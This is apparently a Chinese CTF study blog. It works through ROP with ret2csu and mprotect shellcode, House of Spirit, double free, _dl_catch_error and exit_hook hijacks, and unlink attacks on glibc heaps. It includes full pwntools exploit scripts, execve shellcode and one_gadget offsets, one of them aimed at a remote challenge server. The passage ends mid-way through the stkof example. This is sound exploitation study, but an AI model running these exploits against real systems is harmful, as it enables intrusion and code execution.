0%

jarvisoj_level中都是一些基础题目,较为简单

仔细做了做,解决了一些以前遗留的问题与误区,做这个 level5 的时候,发现有个师傅的思路很有意思(这种思路应该可以来对付ORW,也可以成为绕NX的手段)

level5

1643187885994

1643187903026

1643187911369

64位,dynamically,开了NX

1643187980355

经典泄露数据:可以用DynELF或LibcSearcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
from LibcSearcher import*

p=process('./level5')
elf=ELF('./level5')

write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=0x40061A

csu_front_addr=0x400690
csu_end_addr=0x4006AA

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'a'*0x80+'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.recvuntil('Input:\n')
write_libc=u64(p.recv(8))
success('write_libc >> '+hex(write_libc))

obj=LibcSearcher('write',write_libc)
libc_base=write_libc-obj.dump('write')
system_libc=libc_base+obj.dump('system')
execve_libc=libc_base+obj.dump('execve')
bin_sh_libc=libc_base+obj.dump('str_bin_sh')
success('libc_base >> '+hex(libc_base))

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

payload='a'*0x80+'b'*0x8
payload+=p64(pop_rdi_ret)+p64(bin_sh_libc)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_rbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)
p.sendline(payload)

p.interactive()

​ // 一般“system”打不通

程序要求不使用“system”和“execve”(只能使用shellcode)

这时就需要考虑绕过NX:栈迁移 + mprotect

但这里不用栈迁移,用另一种方式:ret2csu + got表劫持

  • 在bss段中写入“shellcode”
  • 把“shellcode”和“mprotect”都写入got表
  • 利用“ret2csu”的特性执行“mprotect”和“ret2csu”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import*
from LibcSearcher import*

p=process('./level5')
#p=remote('node4.buuoj.cn',26297)
elf=ELF('./level5')
context(os='linux',arch='amd64',log_level='debug')

write_got=elf.got['write']
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x40061A
bss_addr=0x600A88+0x100

csu_front_addr=0x400690
csu_end_addr=0x4006AA

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = b'a'*0x80+b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)

#gdb.attach(p)

csu(0, 1, write_got, 8, write_got, 1, main_addr)
p.recvuntil('Input:\n')
write_libc=u64(p.recv(8))
success('write_libc >> '+hex(write_libc))

obj=LibcSearcher('write',write_libc)
libc_base=write_libc-obj.dump('write')
system_libc=libc_base+obj.dump('system')
execve_libc=libc_base+obj.dump('execve')
bin_sh_libc=libc_base+obj.dump('str_bin_sh')
success('libc_base >> '+hex(libc_base))

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

#shellcode=asm(shellcraft.amd64.linux.sh(),arch='amd64')
shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload=b'a'*0x80+b'b'*0x8
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss_addr)
payload+=p64(pop_rdx_rbx_ret)+p64(0x400)+p64(0)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.sendline(shellcode)

mprotect_libc=libc_base+obj.dump('mprotect')
success('mprotect_libc >> '+hex(mprotect_libc))

shellcode_got=0x0000000000600A48
payload=b'a'*0x80+b'b'*0x8
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(shellcode_got)
payload+=p64(pop_rdx_rbx_ret)+p64(0x200)+p64(0)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(bss_addr))

mprot_got= 0x0000000000600A50
payload=b'a'*0x80+b'b'*0x8
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(mprot_got)
payload+=p64(pop_rdx_rbx_ret)+p64(0x200)+p64(0)
payload+=p64(read_plt)+p64(main_addr)
p.sendline(payload)
p.send(p64(mprotect_libc))

#pause()

csu(0, 1, mprot_got, 7, 0x1000, 0x600000, main_addr)
csu(0, 1, shellcode_got, 0, 0, 0, main_addr)

p.interactive()

报错总结

需要输入地址的地方必须用“send”,因为“sendline”最后加上的“\n”会扰乱地址

House Of Spirit

House Of Spirit 是 Fastbin Attack 中的一种,也是 the Malloc Maleficarum 中的一种技术

通过free技术来达到任意地址读写的目的(WAA):技术中利用free函数来释放一个原本属于栈中的一块地址(伪造为 fake chunk ),将地址free到堆的bin链中,然后实现对栈地址的读写

​ // 当然也可以不在栈中,任意可写的段都可以


Fastbin检查机制

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

主要是检查当前chunk的size,和下一个chunk的size

House Of Spirit 利用姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
malloc(1);

fake_chunks[1] = 0x40;//fake_size
fake_chunks[9] = 0x1234;//fake_nextsize(可有可无)
a = &fake_chunks[2];

fprintf(stderr,"fake_chunks: %p\n",&fake_chunks[2]);

free(a);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
return 0;
}
1
2
3
fake_chunks: 0x7fffffffdcc0
malloc(0x30): 0x7fffffffdcc0
malloc(0x30): 0x5555555592c0

可以发现:函数“free”把栈上的“fake_chunks”送入了“tcachebins”

1
2
3
4
5
6
7
pwndbg> bins
tcachebins
0x40 [1]: 0x7fffffffdcc0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0

​ // 这里的“fake_chunks”被送入了“tcachebins”,如果是低libc版本就送入“fastbins”

house of spirit 简单的来说就是 free 一个假的 fastbin 堆块,然后再下次 malloc 的时候就会返回该假堆块

利用条件:

  • 需要修改模块,不需要控制free模块的参数:申请到堆上,把目标地址写入修改模块的控制范围
  • 需要控制free模块的参数,不需要修改模块:申请到栈上,用目标地址覆盖返回地址
  • 在“计数器”后面存在可以控制的区域,同时修改模块也可以在此处写入内容(也可以获取现成的数字)

版本对 House Of Spirit 的影响

不同 libc 的版本“释放检查”不同,像 libc-2.23 就只有上文的两个检查,后续会尽量把不同版本的 House Of Spirit 都复现一遍,直到完全没法打为止

libc-2.23

上文提到的,基本的 free 检查

1
2
3
4
5
6
7
8
9
10
11
//检查p的大小是否小于global_max_fast
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
//检查p物理相邻的堆块是否是top chunk
&& (chunk_at_offset(p, size) != av->top)
#endif
)
//检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))

libc-2.27

多了一个检查

1
2
3
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");

检查下一个 chunk 的 pre_size 是否为 NULL,一般在伪造 size 的时候多写一步就可以了

后续版本都没有添加新的检查(最新测试到 libc-2.31)

注意

在64位的程序中:可以轻易实现 House Of Spirit(至少在 libc-2.31及其之前的版本是这样)

但是在32位的程序中:只有在 libc-2.23 版本成功实现 House Of Spirit,其他版本均报错

1
free():invalid pointer

看了源码,定位了报错的位置,但是还是不知道原因……

Ptmalloc算法:Double Free

Double Free是 Fastbin Attack 中的一种

本质上就是对一个chunk进行两次free,从而实现 多个指针指向同一个堆块 的操作


Free验证机制

通常来说,同一个chunk是不能被free两次的

例如:

1
2
3
4
5
6
7
8
9
10
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk1);
return 0;
}
1
2
free(): double free detected in tcache 2
[1] 3376 abort (core dumped) ./test

这是因为有以下代码:

1
2
3
4
5
6
7
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

检查 fastbin 头部指向的 chunk 和被 “free” 的 chunk 是否相等,其后就没有检查了

伪造案例

如果这样构造payload,就会形成异常的fastbin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b,*chunk_c,*chunk_s;

bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);

chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
chunk_b=malloc(0x10);
chunk_c=malloc(0x10);
malloc(0x10);
printf("%p\n",chunk_a);
printf("%p\n",chunk_b);
printf("%p\n",chunk_c);
return 0;
}

当所有的free执行完成后:

1
2
3
4
5
pwndbg> bins
fastbins
0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
0x30: 0x0
0x40: 0x0

fastbin出现异常,接下来继续单步,看看程序会怎么分配chunk:

1
2
3
chunk_a = 0x55555555b010
chunk_b = 0x55555555b030
chunk_c = 0x55555555b010

“chunk_a”和“chunk_c”被分配到了同一个地方,这就是Double Free的核心

Double Free 和 UAF 很像,都是程序没有置空指针而产生的漏洞

利用的关键都是看程序的“free模块”,看下哪些指针没有被置空

Double Free利用姿势

利用条件:

  • “free模块”没有置空指针

利用效果:

  • WAA

利用姿势:

一,申请两个chunk,并依次释放chunk1,chunk2:(chunk2 -> chunk1)

二,再次释放chunk1:(chunk1 -> chunk2 -> chunk1)

三,申请chunk:(New chunk1)

四,修改New chunk1,把FD指针的位置改为“ Malloc_hook - 0x10 ”:

五,申请chunk:(New chunk2)

六,申请chunk:(New chunk3 和 New chunk1重合)

七,再次申请chunk,并进行修改(程序把“Malloc_hook”误以为是chunk)

原理总述:

利用Double Free的特性(可以申请到相同的chunk),先在某个chunk的FD指针中写入 “目标地址 - 0x10” ,程序会误以为它是某个chunk,于是会把这片区域当成chunk给申请出来,最后就可以直接修改了

​ // 虽然New chunk1是“allocate chunk”,但是通过Double Free把它存储在了fastbin中,所以它也会被当做是“free chunk”

PS:

因为在 fastbin 中,malloc 会检查 fast chunk 的 size 位是否合适才分配 chunk

这导致了 Double free 的利用需要一些特殊手段(利用现成地址分割“size”)

而在 cachebin 中没有对应的检查(至少2.27没有),所以 Double free 满天飞

hfctf_2020_marksman

1642595402906

两次输入

1642595429057

1642595439603

64位,dynamically,全开

1642597494667

有两次输入,第一次输入“16字节”,第二次输入“3字节”(第二次可以分段多次输入)

程序还泄露了“puts”的libc地址,就相当于知晓了“libc_base”

1642596168020

如果符合if条件,第二次输入的值会进行覆盖

入侵思路

程序的思路十分简单:

  • 在第一次输入中写入某个地址
  • 在第二次输入中改写该地址的内容
  • 只能修改一次地址,所以必须把目标地址改为“one_gadget”

也有明显的问题:

  • 程序开了Full RELRO,got表无法被劫持
  • 程序对输入值进行了限制,多数“one_gadget”被淘汰

泄露了“puts”的libc地址,可以用LibcSearcher获取libc版本

1
2
0: ubuntu-glibc (id libc6_2.27-3ubuntu1_amd64)
1: ubuntu-old-glibc (id libc6_2.3.6-0ubuntu20_i386)

用“glibc-all-in-one”下载对应版本的libc,获取“one_gadget”

​ // 加 “—level 2” 参数输出所有“one_gadget”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
➜  [/home/ywhkkx/tool/glibc-all-in-one/libs/2.27-3ubuntu1_amd64] git:(master) one_gadget libc-2.27.so --level 2
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe569f execve("/bin/sh", r14, r12)
constraints:
[r14] == NULL || r14 == NULL
[r12] == NULL || r12 == NULL

0xe5858 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe585f execve("/bin/sh", r10, [rbp-0x70])
constraints:
[r10] == NULL || r10 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5863 execve("/bin/sh", r10, rdx)
constraints:
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a398 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL

发现 0xe569f execve(“/bin/sh”, r14, r12) 刚好符合条件,解决了“one_gadget”的问题

程序原本的got表不可以写,但一个突破口:dlopen

1
void * dlopen (const char *file, int mode)

功能:打开一个动态链接库

参数:file就是libc文件路径,mode只有以下两种常用的值,并且必须指定其一

  • RTLD_LAZY:在 dlopen 返回前,对于动态库中存在的未定义的变量 (如外部变量 extern,也可以是函数) 不执行解析,就是不解析这个变量的地址
  • RTLD_NOW:与上面不同,他需要在 dlopen 返回前,解析出每个未定义变量的地址,如果解析不出来,在 dlopen 会返回 NULL

先看一下“dlopen”的源码:

1
2
3
4
void * dlopen (const char *file, int mode)
{
return __dlopen (file, mode, RETURN_ADDRESS (0));
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * __dlopen (const char *file, int mode DL_CALLER_DECL)
{
# ifdef SHARED
if (__builtin_expect (_dlfcn_hook != NULL, 0))
return _dlfcn_hook->dlopen (file, mode, DL_CALLER);
# endif

struct dlopen_args args;
args.file = file;
args.mode = mode;
args.caller = DL_CALLER;

# ifdef SHARED
return _dlerror_run (dlopen_doit, &args) ? NULL : args.new;
# else
if (_dlerror_run (dlopen_doit, &args))
return NULL;

__libc_register_dl_open_hook ((struct link_map *) args.new);
__libc_register_dlfcn_hook ((struct link_map *) args.new);

return args.new;
# endif
}

1642600868884

这就是“dlopen”的调用流程 ,重点注意一下“_dl_open”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
void * _dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[])
{
……
……

/* Never allow loading a DSO in a namespace which is empty. Such
direct placements is only causing problems. Also don't allow
loading into a namespace used for auditing. */
else if (__builtin_expect (nsid != LM_ID_BASE && nsid != __LM_ID_CALLER, 0)
&& (GL(dl_ns)[nsid]._ns_nloaded == 0
|| GL(dl_ns)[nsid]._ns_loaded->l_auditing))
_dl_signal_error (EINVAL, file, NULL,
N_("invalid target namespace in dlmopen()"));
#ifndef SHARED
else if ((nsid == LM_ID_BASE || nsid == __LM_ID_CALLER)
&& GL(dl_ns)[LM_ID_BASE]._ns_loaded == NULL
&& GL(dl_nns) == 0)
GL(dl_nns) = 1;
#endif

struct dl_open_args args;
args.file = file;
args.mode = mode;
args.caller_dlopen = caller_dlopen;
args.caller_dl_open = RETURN_ADDRESS (0);
args.map = NULL;
args.nsid = nsid;
args.argc = argc;
args.argv = argv;
args.env = env;

const char *objname;
const char *errstring;
bool malloced;
int errcode = _dl_catch_error (&objname, &errstring, &malloced, dl_open_worker, &args);

#ifndef MAP_COPY
/* We must munmap() the cache file. */
_dl_unload_cache ();
#endif

……
……

#ifndef SHARED
DL_STATIC_INIT (args.map);
#endif

return args.map;
}

​ // 其中的“_dl_catch_error”就是劫持的对象

“dlopen”里面有调用libc函数的地方,于是劫持它的got表,便可以getshell

可以把“_dl_catch_error”的内容,覆写为“one gadget”,这样调用“dlopen”的时候就会调用“one gadget”,解决了got表不可写的问题

参考:

动态调试

“_dl_catch_error”的具体地址可以在GDB中查看:

1
2
3
4
5
6
pwndbg> telescope 0x555555400D63
00:00000x555555400d63 ◂— call 0x555555400860 //dlopen
01:00080x555555400d6b ◂— jne 0x555555400d77
02:00100x555555400d73 ◂— sbb ebx, edi
03:00180x555555400d7b ◂— add eax, dword ptr [rax]
04:00200x555555400d83 ◂— mov eax, 0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x555555400860
00:00000x555555400860 (dlopen@plt) ◂— jmp qword ptr [rip + 0x201732]
01:00080x555555400868 (dlopen@plt+8) ◂— add byte ptr [rax], al
02:00100x555555400870 (setvbuf@plt) ◂— jmp qword ptr [rip + 0x20172a]
03:00180x555555400878 (setvbuf@plt+8) ◂— add byte ptr [rax], al
04:00200x555555400880 (atol@plt) ◂— jmp qword ptr [rip + 0x201722]
05:00280x555555400888 (atol@plt+8) ◂— add byte ptr [rax], al
06:00300x555555400890 (exit@plt) ◂— jmp qword ptr [rip + 0x20171a]
07:00380x555555400898 (exit@plt+8) ◂— add byte ptr [rax], al

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
from LibcSearcher import*

p=remote('117.21.200.166',26233)
#p=process('./hfctf_2020_marksman')
elf=ELF('./hfctf_2020_marksman')

#gdb.attach(p)

p.recvuntil('I placed the target near: ')
puts_libc=eval(p.recvuntil('\n')[:-1])
success('puts_libc >> '+hex(puts_libc))

obj=LibcSearcher('puts',puts_libc)
libc_base=puts_libc-obj.dump('puts')
_dl_catch_error_libc=libc_base + 0x5f4038
one_gadget=libc_base + 0xe569f
success('libc_base >> '+hex(libc_base))
success('_dl_catch_error_libc >> '+hex(_dl_catch_error_libc))
success('one_gadget >> '+hex(one_gadget))

payload=str(_dl_catch_error_libc)
p.sendlineafter('shoot!shoot!\n',payload)
for i in range(3):
p.sendlineafter("biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8

#pause()

p.interactive()

这个方法的条件苛刻(主要是“one_gadget”),而且找偏移不好找

网上有另一种劫持技术:exit_hook


攻击技术:exit_hook

exit的调用过程:

1
exit() -> __run_exit_handlers -> _dl_fini -> __rtld_lock_unlock_recursive

其中的 “__rtld_lock_unlock_recursive” 是可以被劫持的,它的偏移也可以在GDB中计算

​ // 注意:利用“exit_hook”进行攻击,“one_gadget”有所改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
from LibcSearcher import*

p=remote('117.21.200.166',26233)
#p=process('./hfctf_2020_marksman')
elf=ELF('./hfctf_2020_marksman')

#gdb.attach(p)

p.recvuntil('I placed the target near: ')
puts_libc=eval(p.recvuntil('\n')[:-1])
success('puts_libc >> '+hex(puts_libc))

obj=LibcSearcher('puts',puts_libc)
libc_base=puts_libc-obj.dump('puts')
__rtld_lock_unlock_recursive=libc_base + 0x81df60
one_gadget=libc_base + 0x10a387
success('libc_base >> '+hex(libc_base))
success('__rtld_lock_unlock_recursive >> '+hex(__rtld_lock_unlock_recursive))
success('one_gadget >> '+hex(one_gadget))

payload=str(__rtld_lock_unlock_recursive)
p.sendlineafter('shoot!shoot!\n',payload)
for i in range(3):
p.sendlineafter("biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8

#pause()

p.interactive()

大体的步骤都是差不多的,就是劫持的地址不一样


PS

1
2
3
4
5
str(__rtld_lock_unlock_recursive)
p64(__rtld_lock_unlock_recursive)

chr(one_gadget & 0xff)
p64(one_gadget & 0xff)

exp选择用 “str&chr” 而不是 “p64”

经过实验发现,只有使用 “str&chr” 才不会报错,“str,p64,chr”三者的其他任意组合都不能打通,并且会进行报错:

1
timeout: the monitored command dumped core

目前不知道原因,只有先记住:被修改的对象用“str”,修改的内容用“chr”

Ptmalloc算法:Unlink攻击

我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针(某个chunk的fd指针)的效果

这个指针可以修改为任何地址(fake pointer),那些下一次对该chunk进行操作时,就会向“fake pointer”中写入数据,以实现WAA


Unlink流程

unlink是一个宏操作,用于将某一个空闲chunk从其所处的双向链表中脱链

阉割版代码:

1
2
3
4
5
6
7
8
9
10
11
12
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{ //p是某个结构体“malloc_chunk”的地址,*p就是结构体本身(进行了降阶)
FD = P->fd; //FD就是指向下一个结构体的指针
BK = P->bk; //BK就是指向上一个结构体的指针
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr(check_action,"corrupted double-linked list",P);
else
{
FD->bk = BK; //FD->bk:下一个结构体中的last
BK->fd = FD;
}
}

流程图:

在程序进行unlink操作时,还有一个检查:

1
2
3
4
5
6
7
8
9
10
11
// 由于'P'已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");

// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

// 检查 largebin 中 next_size 双向链表完整性检查
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)", P, AV);

简单来说就是:

chunkP的下一个chunk的上一个chunk是不是chunkP

chunkP的上一个chunk的下一个chunk是不是chunkP

Unlink攻击原理

unlink 操作虽然有检查,但并不是那么“智能”,程序只会 根据地址的相对位置 来推测此位置大概是什么数据,比如,程序会认为 chunk_head+0x8 的位置为 presize, 而不会去检查 chunk 本身的“完整性” ,我们就可以利用这一点来欺骗检查程序

buf[0] 中装有 chunk 的首地址,修改 fake chunk->FD 为 buf[0] - 0x18(buf[-3]),修改 fake chunk->BK 为 buf[0] - 0x10(buf[-2])

假设程序要对 fake chunk 进行 unlink 操作,而 FD,BK 中指向的地址显然不合法,看看程序是怎么检查的:

  • 检查chunkP的下一个chunk的上一个chunk是不是chunkP,先获取FD指针指向的chunk,然后检查该chunk的BK指针是不是chunkP:fake chunk 的FD指针指向 buf[-3],而程序会把 buf[-3]+0x18 处当做它的BK指针(指向 buf[0]),符合检查
  • 检查chunkP的上一个chunk的下一个chunk是不是chunkP,先获取BK指针指向的chunk,然后检查该chunk的FD指针是不是chunkP:fake chunk 的BK指针指向 buf[-2],而程序会把 buf[-2]+0x10 处当做它的FD指针(指向 buf[0]),符合检查

这只是一种伪造方法,核心点:程序只会根据地址的相对位置获取数据

Unlink利用姿势

一,针对 chunk_list ,劫持修改模块(两个chunk合并后unlink)

这种攻击的套路比较固定:

  • 申请两个大小相同的chunk(大小不同也可以,我这里为了方便描述就这样规定)
  • 找寻并泄露 chunk_list 的地址(chunk_list 就是存放chunk数据区地址的数组)
  • 在chunk1内部进行伪造:
    • 伪造 presize 为“0”
    • 伪造 size 为“chunk1->size - 0x10”
    • 伪造 FD 为“chunk_list - 0x18”
    • 伪造 BK 为“chunk_list - 0x10”
  • 通过 off-by-one 溢出1字节覆盖 chunk2->size
  • 释放 chunk2

此后Unlink攻击完成,在 unsortedbin 中存储的地址变为“chunk_list - 0x18”,并且在 chunk_list 中残留的chunk1数据区地址也变为“chunk_list - 0x18”

接下来可以用修改模块进行 hook,GOT劫持,也可以把chunk申请到“chunk_list - 0x18”上

二,针对 heap ,实现 overlapping(三个chunk合并后unlink)

这种攻击可以直接在 heap 中打:

  • 申请三个chunk
  • 找寻并泄露 chunk1_head 的地址(chunk1的首地址)
  • 在chunk1内部进行伪造:
    • 伪造 presize 为“0”
    • 伪造 size 为“fake->size+1”(使其可以索引到chunk3)
    • 伪造 FD 为“chunk1_head + 0x18”
    • 伪造 BK 为“chunk1_head + 0x20”
    • 伪造 FD+0x10(BK+0x8)为“chunk1_head + 0x10”(fake chunk首地址)
  • 在chunk2内部最后一个空间写入“fake->size”(原本chunk3->presize的位置,使其可以索引到 fake chunk)
  • 通过 off-by-one 溢出1字节覆盖 chunk3->size
  • 释放 chunk3

注意:“fake->size”的大小为“chunk1->size + chunk2->size - 0x10 ”

libc版本限制

glibc-2.23:

  • 基本的unlink检查

绕过:用上述操作就可以绕过

glibc-2.27:

  • 基本的unlink检查
  • 对“下一个chunk的pre_size”的检查
1
2
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. pre_size");

标准的是申请三个堆 chunk0 chunk1 chunk2(控制 chunk1 为“buf[-3]”)

  • 释放 chunk0,chunk1 的 prev_size 位置会留下 chunk0 的大小

  • 释放 chunk2 glibc 会通过 prev_size 向上索引到 chunk0

  • chunk0 会被检测,这里 “chunk0的size” 会和 “chunk1的prev_size” 比较

注意:chunk2 需要申请一个 chunk3,防止 chunk2 释放后与“top chunk”合并

绕过:需要多伪造一个“fake_chunk0”,并通过“fake_chunk1”索引到“fake_chunk0”

glibc-2.29:

  • 基本的unlink检查
  • 对“上一个chunk的pre_size”的检查
  • 在unlink之前:检查 “chunk0的size” 和 “chunk2的prev_size” 是否相等
1
2
3
4
5
6
7
8
if (!prev_inuse(p)){
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. pre_size while consolidating");
unlink_chunk (av,p); //unlink的主体操作
}

​ // 这里还没有搞清楚,以后遇到题目了再补充

stkof

循环输入

64位,dynamically,开了Canary,开了NX

代码分析

程序有4种选择:

一,申请可以输出大小的chunk,把它的“fd”指针装入“list”

二,输入“index”,输入“size”,输入写入的内容

​ // 这种写入方式还是比较稀奇的

三,输入“index”,然后free掉对应的chunk,并把指针置空

四,输入“index”,打印一个字符串

入侵思路

先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil('OK\n')

def fill(index,size,content):
p.sendline(str(2))
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')

def free(index):
p.sendline(str(3))
p.sendline(str(index))

def printf(index):
p.sendline(str(4))
p.sendline(str(index))
p.recvuntil('OK\n')

本程序没有栈溢出,但是有堆溢出(“ fill的size ”可以大于“ alloc的size ”)

那么思路就明确了:

利用“Unlink攻击”实现WAA,把got表中的某个函数改为“ system(“/bin/sh”) ”

注意:

本程序没有设置“无缓存”,所以在初次调用“fgets”和“puts”时,malloc都会分配缓冲区

没有执行任何操作时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe05000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0xe05290
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0xe056a0
Size: 0x411

Top chunk | PREV_INUSE
Addr: 0xe05ab0
Size: 0x20551

这里的“0xe05290”和“0xe056a0”就是“输入”和“输出”申请的缓存区,为了排除缓存区干扰,应该先生成一个“无关chunk”

1
2
3
4
5
6
7
8
9
10
11
12
alloc(0x100)
alloc(0x30)
alloc(0x90)

list_addr=0x602140
payload=p64(0)+p64((0x30-0x10))
payload+=p64(list_addr+0x10-0x18)
payload+=p64(list_addr+0x10-0x10)
payload+=p64(0x20)+p64(0)

payload+=p64(0x30)+p64(0x90)
fill(2,len(payload),payload)
1
2
3
4
5
6
7
pwndbg> x/100xg 0x00000000019cd7c0
0x19cd7c0: 0x0000000000000000 0x0000000000000041 # chunk2
0x19cd7d0: 0x0000000000000000 0x0000000000000020 # fake_chunk
0x19cd7e0: 0x0000000000602138 0x0000000000602140
0x19cd7f0: 0x0000000000000020 0x0000000000000000
0x19cd800: 0x0000000000000030 0x0000000000000090 # chunk3
0x19cd810: 0x0000000000000000 0x0000000000000000

“ free(3) ”执行以后:

1
2
3
4
5
pwndbg> x/10xg 0x602140
0x602140: 0x0000000000000000 0x0000000000e0a020
